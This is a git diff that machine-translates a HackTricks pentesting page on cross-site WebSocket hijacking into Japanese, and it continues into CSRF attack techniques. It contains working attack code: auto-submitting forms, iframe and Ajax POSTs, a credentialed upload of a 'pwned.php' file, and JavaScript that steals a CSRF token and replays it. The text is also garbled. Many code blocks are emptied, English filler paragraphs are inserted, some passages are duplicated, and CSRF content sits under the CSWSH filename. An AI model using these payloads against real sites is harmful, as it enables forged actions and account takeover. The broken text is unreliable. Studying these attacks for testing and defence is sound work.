b/pentesting-web/cross-site-websocket-hijacking-cswsh.md @@ -1,35 +1,32 @@ -# Cross-site WebSocket hijacking (CSWSH) +# クロスサイトWebSocketハイジャッキング(CSWSH)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## What are WebSockets +## WebSocketsとは -WebSocket connections are initiated over **HTTP** and are typically **long-lived**. Messages can be sent in **either direction at any time** and are not transactional in nature. The connection will normally stay open and idle until either the client or the server is ready to send a message.\ -WebSockets are particularly useful in situations where **low-latency or server-initiated messages** are required, such as real-time feeds of financial data. +WebSocket接続は**HTTP**を介して開始され、通常は**長時間維持**されます。メッセージは**いつでもどちらの方向にも送信**でき、トランザクション的な性質はありません。接続は通常、クライアントまたはサーバーがメッセージを送信する準備ができるまで開いたままになります。\ +WebSocketsは、金融データのリアルタイムフィードなど、**低遅延またはサーバー起点のメッセージ**が必要な状況で特に有用です。 -## How are WebSocket connections established? - -(Here you will find a summary but a **more detailed guide about how a web socket connection** is created can be found [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)).\ -WebSocket connections are normally created using client-side JavaScript like the following: +## WebSocket接続はどのように確立されますか? +(ここでは概要を説明しますが、**WebSocket接続の詳細なガイド**は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)で見つけることができます)。\ +WebSocket接続は通常、次のようなクライアントサイドのJavaScriptを使用して作成されます: ```javascript var ws = new WebSocket("wss://normal-website.com/chat"); ``` +**`wss`**プロトコルは、暗号化された**TLS**接続上でWebSocketを確立しますが、**`ws`**プロトコルは**暗号化されていない**接続を使用します。 -The **`wss`** protocol establishes a WebSocket over an encrypted **TLS** connection, while the **`ws`** protocol uses an **unencrypted** connection. - -To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following: - +接続を確立するために、ブラウザとサーバーはHTTP上でWebSocketハンドシェイクを実行します。ブラウザは以下のようなWebSocketハンドシェイクリクエストを発行します: ```javascript GET /chat HTTP/1.1 Host: normal-website.com @@ -39,93 +36,81 @@ Connection: keep-alive, Upgrade Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2 Upgrade: websocket ``` - -If the server accepts the connection, it returns a WebSocket handshake response like the following: - +もしサーバーが接続を受け入れる場合、以下のようなWebSocketハンドシェイクのレスポンスを返します。 ```javascript HTTP/1.1 101 Switching Protocols Connection: Upgrade Upgrade: websocket Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= ``` +この時点では、ネットワーク接続は開いたままであり、双方向にWebSocketメッセージを送信するために使用することができます。 -At this point, the network connection remains open and can be used to send WebSocket messages in either direction. +**注意** -**Note** +WebSocketのハンドシェイクメッセージのいくつかの**特徴**について以下に示します: -Several **features** of the WebSocket **handshake** messages are worth noting: +* リクエストとレスポンスの**`Connection`**と**`Upgrade`**ヘッダーは、これがWebSocketのハンドシェイクであることを示しています。 +* リクエストヘッダーの**`Sec-WebSocket-Version`**は、クライアントが使用したいWebSocketプロトコルのバージョンを指定します。通常は`13`です。 +* リクエストヘッダーの**`Sec-WebSocket-Key`**には、ベース64でエンコードされた**ランダムな値**が含まれており、各ハンドシェイクリクエストでランダムに生成する必要があります。 +* レスポンスヘッダーの**`Sec-WebSocket-Accept`**には、プロトコル仕様で定義された特定の文字列と、`Sec-WebSocket-Key`リクエストヘッダーに提出された値のハッシュが含まれています。これにより、誤った設定のサーバーやキャッシュプロキシからの誤った応答が防止されます。 -* The **`Connection`** and **`Upgrade`** headers in the request and response **indicate** that this is a **WebSocket handshake**. -* The **`Sec-WebSocket-Version`** request header specifies the **WebSocket protocol version** that the client wishes to use. This is typically `13`. -* The **`Sec-WebSocket-Key`** request header contains a Base64-encoded **random value**, which should be randomly generated in each handshake request. -* The **`Sec-WebSocket-Accept`** response header contains a hash of the value submitted in the `Sec-WebSocket-Key` request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies. +**`Sec-WebSocket-Key`**ヘッダーには、キャッシュプロキシからのエラーを防ぐためのランダムな値が含まれており、認証やセッション管理の目的では使用されません(_CSRFトークンではありません_)。 -The **`Sec-WebSocket-Key`** header contains a **random value** to prevent errors from caching proxies, and **is not used for authentication or session handling purposes** (_It's not a CSRF token_). - -### Linux console - -You can use `websocat` to stablish a raw connection with a websocket. +### Linuxコンソール +`websocat`を使用してWebSocketとの生の接続を確立することができます。 ```bash websocat --insecure wss://10.10.10.10:8000 -v ``` - -Or to create a websocat server: - +または、websocatサーバーを作成するには: ```bash websocat -s 0.0.0.0:8000 #Listen in port 8000 ``` +## MitM WebSocket接続 -## MitM websocket connections - -If you find that clients are connected to a **HTTP websocket** from your current local network you could try an [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)to perform a MitM attack between the client and the server.\ -Once the client is trying to connect to you can then use: - +現在のローカルネットワークからクライアントが**HTTP WebSocket**に接続していることがわかった場合、[ARPスプーフィング攻撃](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)を試して、クライアントとサーバーの間でMitM攻撃を実行することができます。\ +クライアントが接続しようとしている場合、次の手順を実行できます: ```bash websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v ``` +## Websocketsの列挙 -## Websockets Enumeration +**ツール**[**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **を使用して、Websocketsで既知の** **脆弱性**を自動的に発見、指紋認証、検索することができます。 -You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **to discover, fingerprint and search for known** **vulnerabilities** in websockets automatically. +## クロスサイトWebSocketハイジャッキング(CSWSH) -## Cross-site WebSocket hijacking (CSWSH) +または、_クロスオリジンWebSocketハイジャッキング_とも呼ばれます。\ +これは、WebSocketハンドシェイクにおける**クロスサイトリクエストフォージェリ(CSRF)**です。 -Also known as _cross-origin WebSocket hijacking_.\ -**It is a** [**Cross-Site Request Forgery (CSRF)**](csrf-cross-site-request-forgery.md) **on a WebSocket handshake.** +これは、**WebSocketハンドシェイク**リクエストがセッション管理に**HTTPクッキー**のみを使用し、**CSRFトークン**や他の予測不可能な値を含まない場合に発生します。\ +攻撃者は、自分自身のドメイン上に**悪意のあるウェブページ**を作成し、脆弱なアプリケーションに**クロスサイトWebSocket接続**を確立します。アプリケーションは、接続を**被害者ユーザーのセッションのコンテキスト**で処理します。 -It arises when the **WebSocket handshake** request relies solely on **HTTP cookies** for session handling and does **not contain any CSRF tokens** or other unpredictable values.\ -An attacker can create a **malicious web page** on their own domain which **establishes a cross-site WebSocket** connection to the vulnerable application. The application will handle the connection in the **context of the victim user's session** with the application. +### 簡単な攻撃 -### Simple Attack - -Note that when **establishing** a **websocket** connection the **cookie** is **sent** to the server. The **server** might be using it to **relate** each **specific** **user** with his **websocket** **session based on the sent cookie**. - -Then, if for **example** the **websocket** **server** **sends back the history of the conversation** of a user if a msg with "**READY"** is sent, then a **simple XSS** establishing the connection (the **cookie** will be **sent** **automatically** to authorise the victim user) **sending** "**READY**" will be able to **retrieve** the history of the **conversation**.: +**WebSocket**接続を確立する際に、**クッキー**が**サーバーに送信**されることに注意してください。**サーバー**は、**送信されたクッキーに基づいて各特定のユーザーを彼のWebSocketセッションに関連付ける**ためにそれを使用しているかもしれません。 +その後、**例えば**、**websocket** **サーバー**がメッセージに "**READY**" が送信された場合に、ユーザーの会話の履歴を**送り返す**場合、接続を確立する**単純なXSS**(**クッキー**は**自動的に**送信され、被害者ユーザーを認証するため)で "**READY**" を**送信**することで、会話の履歴を**取得**することができます。 ```markup ``` +### クロスオリジン + 異なるサブドメインのクッキー -### Cross Origin + Cookie with a different subdomain +このブログ記事[https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)では、攻撃者がウェブソケット通信が行われているドメインの**サブドメイン**で**任意のJavaScriptを実行**することに成功しました。**サブドメイン**であるため、**クッキー**が**送信**され、**WebsocketがOriginを正しくチェックしなかった**ため、それと通信して**トークンを盗む**ことが可能でした。 -In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) the attacker managed to **execute arbitrary Javascript in a subdomain** of the domain where the web socket communication was occurring. Because it was a **subdomain**, the **cookie** was being **sent**, and because the **Websocket didn't check the Origin properly**, it was possible to communicate with it and **steal tokens from it**. - -### Stealing data from user - -Copy the web application you want to impersonate (the .html files for example) and inside the script where the websocket communication is occurring add this code: +### ユーザーからのデータの盗み出し +なりすましを行いたいウェブアプリケーション(たとえば.htmlファイル)をコピーし、ウェブソケット通信が行われているスクリプト内に次のコードを追加します: ```javascript //This is the script tag to load the websocket hooker @@ -134,38 +119,35 @@ Copy the web application you want to impersonate (the .html files for example) a //is sent by the client or received from the server //These code must be between some -
- - - -
- - + + + +
+ + + +
+ + ``` - {% hint style="info" %} -Note that if the **csrf token is related with the session cookie this attack won't work** because you will need to set the victim your session, and therefore you will be attacking yourself. +注意してください。**csrfトークンがセッションクッキーに関連している場合、この攻撃は機能しません**。なぜなら、被害者に自分のセッションを設定する必要があり、したがって自分自身を攻撃することになるからです。 {% endhint %} -### Content-Type change +### Content-Typeの変更 -According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values: +[**こちら**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)によると、**POST**メソッドを使用して**プリフライトを回避**するために、次のContent-Typeの値が許可されています。 * **`application/x-www-form-urlencoded`** * **`multipart/form-data`** * **`text/plain`** -However, note that the **severs logic may vary** depending on the **Content-Type** used so you should try the values mentioned and others like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ - -Example (from [here](https://brycec.me/posts/corctf\_2021\_challenges)) of sending JSON data as text/plain: +ただし、使用する**Content-Type**によっては、**サーバーのロジックが異なる場合がある**ため、上記の値や**`application/json`**、**`text/xml`**、**`application/xml`**などの他の値も試してみる必要があります。 +[ここ](https://brycec.me/posts/corctf\_2021\_challenges)からのJSONデータをtext/plainとして送信する例: ```html - -
- -
- - + +
+ +
+ + ``` - ### application/json preflight request bypass -As you already know, you cannot sent a POST request with the Content-Type **`application/json`** via HTML form, and if you try to do so via **`XMLHttpRequest`** a **preflight** request is sent first.\ -However, you could try to send the JSON data using the content types \*\*`text/plain` and `application/x-www-form-urlencoded` \*\* just to check if the backend is using the data independently of the Content-Type.\ -You can send a form using `Content-Type: text/plain` setting **`enctype="text/plain"`** +既にご存知の通り、HTMLフォームを介してContent-Typeが**`application/json`**のPOSTリクエストを送信することはできません。また、**`XMLHttpRequest`**を使用して試みると、最初に**preflight**リクエストが送信されます。\ +ただし、バックエンドがContent-Typeに関係なくデータを使用しているかどうかを確認するために、JSONデータをcontent types **`text/plain`** および **`application/x-www-form-urlencoded`** を使用して送信することができます。\ +`Content-Type: text/plain` を使用してフォームを送信することができます。 -If the server is only accepting the content type "application/json", you can **send the content type "text/plain; application/json"** without triggering a preflight request. +サーバーがコンテンツタイプ "application/json" のみを受け入れる場合、preflightリクエストをトリガーせずにコンテンツタイプ "text/plain; application/json" を送信することができます。 -You could also try to **bypass** this restriction by using a **SWF flash file**. More more information [**read this post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). +また、**SWFフラッシュファイル**を使用してこの制限を**バイパス**することもできます。詳細については、[**この投稿**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)を参照してください。 ### Referrer / Origin check bypass -**Avoid Referrer header** - -Some applications validate the Referer header when it is present in requests but **skip the validation if the header is omitted**. +**Refererヘッダーを回避する** +一部のアプリケーションでは、リクエストにRefererヘッダーが存在する場合にのみ、そのヘッダーを検証しますが、ヘッダーが省略された場合は検証をスキップします。 ```markup ``` - -**Regexp bypasses** +**正規表現のバイパス** {% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} [url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md) {% endcontent-ref %} -To set the domain name of the server in the URL that the Referrer is going to send inside the parameters you can do: - +Referrerがパラメータ内で送信するURLのサーバーのドメイン名を設定するには、次のようにします: ```html - - - - -
- - -
- - + + + + +
+ + +
+ + ``` - ***
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグ報酬について通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する -## **Exploit Examples** +## **攻撃例** -### **Exfiltrating CSRF Token** +### **CSRFトークンの抽出** -If a **CSRF token** is being used as **defence** you could try to **exfiltrate it** abusing a [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) vulnerability or a [**Dangling Markup**](dangling-markup-html-scriptless-injection.md) vulnerability. - -### **GET using HTML tags** +もし**CSRFトークン**が**防御手段**として使用されている場合、[**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)の脆弱性や[**Dangling Markup**](dangling-markup-html-scriptless-injection.md)の脆弱性を悪用して**抽出**することができます。 +### **HTMLタグを使用したGET** ```markup

404 - Page not found

The URL you are requesting is no longer available ``` - -Other HTML5 tags that can be used to automatically send a GET request are: +自動的にGETリクエストを送信するために使用できる他のHTML5タグは次のとおりです: ![](<../.gitbook/assets/image (530).png>) -### Form GET request - +### フォームのGETリクエスト ```markup - - - -
- - -
- - + + + +
+ + +
+ + ``` +### フォームのPOSTリクエスト -### Form POST request +To perform a Cross-Site Request Forgery (CSRF) attack, an attacker can create a malicious HTML page that includes a form with a POST method. This form is designed to submit data to a target website without the user's knowledge or consent. +To execute the attack, the attacker tricks the victim into visiting the malicious page. When the victim loads the page, the form is automatically submitted, sending the data to the target website. Since the victim is already authenticated on the target website, the server accepts the request and performs the desired action. + +The key to a successful CSRF attack is to ensure that the victim is authenticated on the target website. This can be achieved by tricking the victim into clicking on a link or visiting a page that requires authentication before loading the malicious page. + +To protect against CSRF attacks, web developers can implement measures such as using anti-CSRF tokens or checking the origin of the request. Additionally, users can protect themselves by being cautious when clicking on links or visiting unfamiliar websites. ```markup - - -
- - - -
- - + + +
+ + + +
+ + ``` +### iframeを通じたフォームのPOSTリクエスト -### Form POST request through iframe +An attacker can exploit Cross-Site Request Forgery (CSRF) vulnerabilities by tricking a victim into submitting a form through an invisible iframe. This technique is commonly used when the attacker wants to perform actions on behalf of the victim without their knowledge or consent. +To execute this attack, the attacker crafts a malicious webpage that contains an invisible iframe pointing to the target website. The attacker then creates a form within the iframe and sets the target website as the form's action. The form is pre-filled with the desired data and automatically submitted using JavaScript. + +When the victim visits the attacker's webpage, the form is submitted in the background without their knowledge. Since the victim is already authenticated on the target website, the server processes the request as if it came directly from the victim. This allows the attacker to perform actions on the victim's behalf, such as changing their password, making purchases, or modifying their account settings. + +To protect against this attack, web developers should implement measures such as using anti-CSRF tokens, validating the referrer header, and implementing strict SameSite cookie policies. Additionally, users should be cautious when clicking on unfamiliar links or visiting suspicious websites to minimize the risk of falling victim to CSRF attacks. ```markup - - - -
- - -
- - + + +
+ + +
+ + ``` +### **Ajax POST リクエスト** -### **Ajax POST request** +Ajax POST リクエストは、ブラウザが非同期的にサーバーにデータを送信するための方法です。このリクエストは、Webアプリケーションの機能を利用して、ユーザーの操作なしにデータを送信することができます。 +以下は、Ajax POST リクエストの基本的な構文です。 + +```javascript +$.ajax({ + url: "http://example.com/api", + type: "POST", + data: { + param1: "value1", + param2: "value2" + }, + success: function(response) { + console.log(response); + }, + error: function(xhr, status, error) { + console.log(error); + } +}); +``` + +この例では、`http://example.com/api` に対してPOSTリクエストが送信されます。`data` パラメータには、送信するデータが含まれています。成功した場合は、`success` 関数が呼び出され、レスポンスがコンソールに表示されます。エラーが発生した場合は、`error` 関数が呼び出され、エラーメッセージがコンソールに表示されます。 + +Ajax POST リクエストは、CSRF(Cross-Site Request Forgery)攻撃の潜在的な脆弱性を持っています。この攻撃では、攻撃者がユーザーの代わりに意図しないリクエストを送信することができます。この攻撃を防ぐためには、適切なCSRF対策を実装する必要があります。 ```markup ``` +### multipart/form-data POST リクエスト -### multipart/form-data POST request +In a multipart/form-data POST request, the data is sent as a series of parts, each containing a separate piece of data. This type of request is commonly used when uploading files or submitting forms with binary data. +To construct a multipart/form-data POST request, you need to set the `Content-Type` header to `multipart/form-data` and format the request body accordingly. Each part of the request body should be separated by a boundary, which is a unique string that acts as a delimiter between the parts. + +Here is an example of a multipart/form-data POST request: + +```http +POST /upload HTTP/1.1 +Host: example.com +Content-Type: multipart/form-data; boundary=---------------------------1234567890 + +-----------------------------1234567890 +Content-Disposition: form-data; name="file"; filename="example.jpg" +Content-Type: image/jpeg + +[Binary data of the file] +-----------------------------1234567890 +Content-Disposition: form-data; name="name" + +John Doe +-----------------------------1234567890-- +``` + +In this example, the request body consists of two parts. The first part contains the file data, with the `Content-Disposition` header specifying the name and filename of the file, as well as the content type. The second part contains a form field named "name" with the value "John Doe". + +When sending a multipart/form-data POST request, make sure to properly set the `Content-Length` header to indicate the total size of the request body. ```javascript myFormData = new FormData(); var blob = new Blob([""], { type: "text/text"}); myFormData.append("newAttachment", blob, "pwned.php"); fetch("http://example/some/path", { - method: "post", - body: myFormData, - credentials: "include", - headers: {"Content-Type": "application/x-www-form-urlencoded"}, - mode: "no-cors" +method: "post", +body: myFormData, +credentials: "include", +headers: {"Content-Type": "application/x-www-form-urlencoded"}, +mode: "no-cors" }); ``` +### multipart/form-data POSTリクエスト v2 -### multipart/form-data POST request v2 +In this technique, we will explore how to perform a CSRF attack using a multipart/form-data POST request. This technique is useful when the target application uses this type of request to submit forms or upload files. +To execute this attack, we need to create a malicious HTML page that will contain a form with the necessary fields to perform the CSRF attack. The form should have the `enctype` attribute set to `multipart/form-data` and the `method` attribute set to `POST`. + +The fields in the form should match the fields expected by the target application. These fields can be identified by inspecting the HTML source code or by using a tool like Burp Suite. + +Once the form is created, we need to include it in a page that will be hosted on our server. This page should also include JavaScript code that will automatically submit the form when the page is loaded. + +When the victim visits our malicious page, the form will be submitted automatically, sending the crafted request to the target application. Since the victim is authenticated in the target application, the request will be processed as if it came from the victim's browser. + +To protect against this type of attack, the target application should implement measures such as using anti-CSRF tokens or checking the `Referer` header to ensure that requests originate from the same domain. + +By understanding and exploiting the vulnerabilities associated with multipart/form-data POST requests, we can gain unauthorized access to sensitive information or perform actions on behalf of the victim. It is important to note that performing CSRF attacks is illegal and should only be done with proper authorization and for ethical purposes. ```javascript var fileSize = fileData.length, boundary = "OWNEDBYOFFSEC", @@ -333,9 +393,23 @@ body += "--" + boundary + "--"; //xhr.send(body); xhr.sendAsBinary(body); ``` +### iframe 内からのフォーム POST リクエスト -### Form POST request from within an iframe +When an HTML form is submitted, the browser sends a POST request to the specified URL. This behavior can be exploited in a Cross-Site Request Forgery (CSRF) attack when the form is submitted from within an iframe. +HTMLのフォームが送信されると、ブラウザは指定されたURLにPOSTリクエストを送信します。この挙動は、iframe内からフォームが送信された場合に、クロスサイトリクエストフォージェリ(CSRF)攻撃で悪用される可能性があります。 + +To perform a CSRF attack using an iframe, an attacker can create a webpage with an invisible iframe that loads the target website's form. The attacker can then use JavaScript to automatically submit the form without the user's knowledge. + +iframeを使用してCSRF攻撃を実行するために、攻撃者は目的のウェブサイトのフォームを読み込む透明なiframeを持つウェブページを作成することができます。攻撃者はJavaScriptを使用して、ユーザーの知識を持たずにフォームを自動的に送信することができます。 + +This attack is possible because the browser includes the user's session cookies in the POST request, allowing the attacker to impersonate the user and perform actions on their behalf. + +この攻撃が可能なのは、ブラウザがPOSTリクエストにユーザーのセッションクッキーを含めるためであり、攻撃者がユーザーをなりすまし、その代わりに操作を行うことができるからです。 + +To protect against CSRF attacks, web developers should implement measures such as using anti-CSRF tokens, which are unique tokens embedded in the form that are checked upon submission to ensure the request is legitimate. + +CSRF攻撃に対抗するために、ウェブ開発者は、フォームに埋め込まれた一意のトークンを使用するなどの対策を実装する必要があります。これにより、リクエストが正当であることを確認することができます。 ```markup <--! expl.html --> @@ -353,58 +427,91 @@ function envia(){document.getElementById("formulario").submit();}

Sitio bajo mantenimiento. Disculpe las molestias

``` +### **CSRFトークンを盗み、POSTリクエストを送信する** -### **Steal CSRF Token and send a POST request** +To perform a CSRF attack, you need to steal the CSRF token from the target website and then use it to craft a malicious POST request. Here's how you can do it: +1. **Stealing the CSRF Token**: The CSRF token is typically embedded in the HTML of the target website. You can use various techniques like cross-site scripting (XSS) or social engineering to trick the victim into executing a script that extracts the CSRF token. Once you have the token, store it for later use. + +2. **Crafting the Malicious POST Request**: With the stolen CSRF token, you can now craft a POST request to perform the desired action on the target website. Make sure to include all the necessary parameters and values required by the target website's form. The CSRF token should be included as a parameter in the request body or as a custom header, depending on how the website handles CSRF protection. + +3. **Sending the POST Request**: Once you have crafted the malicious POST request, you can send it to the target website. This can be done using various tools like cURL, Burp Suite, or custom scripts. Make sure to set the appropriate headers and cookies to mimic a legitimate request. + +By stealing the CSRF token and sending a crafted POST request, you can trick the target website into performing actions on behalf of the victim without their consent. This can lead to various security vulnerabilities, such as unauthorized data modification or account takeover. It is important for web developers to implement proper CSRF protection mechanisms to mitigate these attacks. ```javascript function submitFormWithTokenJS(token) { - var xhr = new XMLHttpRequest(); - xhr.open("POST", POST_URL, true); - xhr.withCredentials = true; +var xhr = new XMLHttpRequest(); +xhr.open("POST", POST_URL, true); +xhr.withCredentials = true; - // Send the proper header information along with the request - xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); +// Send the proper header information along with the request +xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); - // This is for debugging and can be removed - xhr.onreadystatechange = function() { - if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { - //console.log(xhr.responseText); - } - } +// This is for debugging and can be removed +xhr.onreadystatechange = function() { +if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { +//console.log(xhr.responseText); +} +} - xhr.send("token=" + token + "&otherparama=heyyyy"); +xhr.send("token=" + token + "&otherparama=heyyyy"); } function getTokenJS() { - var xhr = new XMLHttpRequest(); - // This tels it to return it as a HTML document - xhr.responseType = "document"; - xhr.withCredentials = true; - // true on the end of here makes the call asynchronous - xhr.open("GET", GET_URL, true); - xhr.onload = function (e) { - if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { - // Get the document from the response - page = xhr.response - // Get the input element - input = page.getElementById("token"); - // Show the token - //console.log("The token is: " + input.value); - // Use the token to submit the form - submitFormWithTokenJS(input.value); - } - }; - // Make the request - xhr.send(null); +var xhr = new XMLHttpRequest(); +// This tels it to return it as a HTML document +xhr.responseType = "document"; +xhr.withCredentials = true; +// true on the end of here makes the call asynchronous +xhr.open("GET", GET_URL, true); +xhr.onload = function (e) { +if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { +// Get the document from the response +page = xhr.response +// Get the input element +input = page.getElementById("token"); +// Show the token +//console.log("The token is: " + input.value); +// Use the token to submit the form +submitFormWithTokenJS(input.value); +} +}; +// Make the request +xhr.send(null); } var GET_URL="http://google.com?param=VALUE" var POST_URL="http://google.com?param=VALUE" getTokenJS(); ``` +### **CSRFトークンを盗み、iframe、フォーム、およびAjaxを使用してPOSTリクエストを送信する** -### **Steal CSRF Token and send a Post request using an iframe, a form and Ajax** +To perform a Cross-Site Request Forgery (CSRF) attack, you need to steal the CSRF token from the target website and then use it to send a malicious POST request. This can be achieved using an iframe, a form, and Ajax. +#### **Stealing the CSRF Token** + +1. Create an iframe element in your attacker-controlled website. +2. Set the source of the iframe to the target website's login page or any other page that generates a CSRF token. +3. Use JavaScript to access the contents of the iframe and extract the CSRF token from the HTML source code. +4. Store the stolen CSRF token in a variable for later use. + +#### **Sending a POST Request** + +1. Create a hidden form element in your attacker-controlled website. +2. Set the action attribute of the form to the target website's vulnerable endpoint. +3. Set the method attribute of the form to "POST". +4. Include any required parameters in the form, such as the stolen CSRF token and any other necessary data. +5. Use JavaScript to automatically submit the form when the page loads or when triggered by an event. + +#### **Using Ajax** + +1. Create an Ajax request in your attacker-controlled website. +2. Set the URL of the request to the target website's vulnerable endpoint. +3. Set the method of the request to "POST". +4. Include any required parameters in the request, such as the stolen CSRF token and any other necessary data. +5. Send the Ajax request using JavaScript. + +By stealing the CSRF token and using it to send a malicious POST request, you can trick the target website into performing actions on behalf of the victim user without their consent. This can lead to unauthorized actions, data manipulation, or even account takeover. It is important for web developers to implement proper CSRF protection mechanisms to prevent such attacks. ```markup
@@ -414,100 +521,188 @@ getTokenJS(); + ``` +### **CSRFトークンを盗み、iframeとフォームを使用してPOSTリクエストを送信する** -### **Steal CSRF Token and sen a POST request using an iframe and a form** +To perform a Cross-Site Request Forgery (CSRF) attack, you need to steal the CSRF token from the target website and then use it to send a malicious POST request. One way to achieve this is by utilizing an iframe and a form. +まず、Cross-Site Request Forgery(CSRF)攻撃を実行するために、対象のウェブサイトからCSRFトークンを盗む必要があります。その後、このトークンを使用して悪意のあるPOSTリクエストを送信します。これを実現する方法の一つは、iframeとフォームを利用することです。 + +First, you need to create an iframe element in your attacker-controlled website. This iframe should have its source set to the target website's URL. By loading the target website within the iframe, you can access its DOM and extract the CSRF token. + +まず、攻撃者が制御するウェブサイトでiframe要素を作成する必要があります。このiframeのソースは、対象のウェブサイトのURLに設定されている必要があります。iframe内で対象のウェブサイトを読み込むことで、そのDOMにアクセスし、CSRFトークンを抽出することができます。 + +Once you have obtained the CSRF token, you can use it to craft a malicious form. This form should have its action attribute set to the target website's vulnerable endpoint and include any necessary input fields. Make sure to include the stolen CSRF token as a hidden input field within the form. + +CSRFトークンを入手したら、それを使用して悪意のあるフォームを作成します。このフォームのaction属性は、対象のウェブサイトの脆弱なエンドポイントに設定し、必要な入力フィールドを含めます。フォーム内には、盗まれたCSRFトークンを隠しフィールドとして含めるようにしてください。 + +Finally, you can submit the form programmatically using JavaScript. This can be done by calling the form's submit() method. When the form is submitted, the malicious POST request will be sent to the target website, potentially causing unauthorized actions to be performed on behalf of the victim. + +最後に、JavaScriptを使用してフォームをプログラム的に送信します。これは、フォームのsubmit()メソッドを呼び出すことで行うことができます。フォームが送信されると、悪意のあるPOSTリクエストが対象のウェブサイトに送信され、被害者の代わりに権限のないアクションが実行される可能性があります。 ```markup - ``` +### **トークンを盗み、2つのiframeを使用して送信する** -### **Steal token and send it using 2 iframes** +One way to perform a CSRF attack is by stealing a user's authentication token and then using it to make unauthorized requests on their behalf. In this technique, we will steal the token by tricking the user into visiting a malicious website that contains two iframes. +The first iframe will load the target website where the user is authenticated. This iframe will be hidden from the user's view using CSS. The second iframe will load a malicious website that we control. + +When the user visits the malicious website, JavaScript code will be executed that will extract the authentication token from the first iframe. This can be done by accessing the `contentWindow` property of the first iframe and then accessing the token from its DOM. + +Once the token is obtained, it can be used to make unauthorized requests on behalf of the user. This can be done by sending HTTP requests using JavaScript, either through the `XMLHttpRequest` object or the `fetch` API. + +By using this technique, an attacker can trick a user into unknowingly performing actions on a target website without their consent. This can lead to various security vulnerabilities, such as changing account settings, making unauthorized purchases, or even performing actions with administrative privileges. + +To protect against CSRF attacks, it is important to implement measures such as using anti-CSRF tokens, validating the origin of requests, and implementing strict access controls. ```markup - - - - - - + + + +
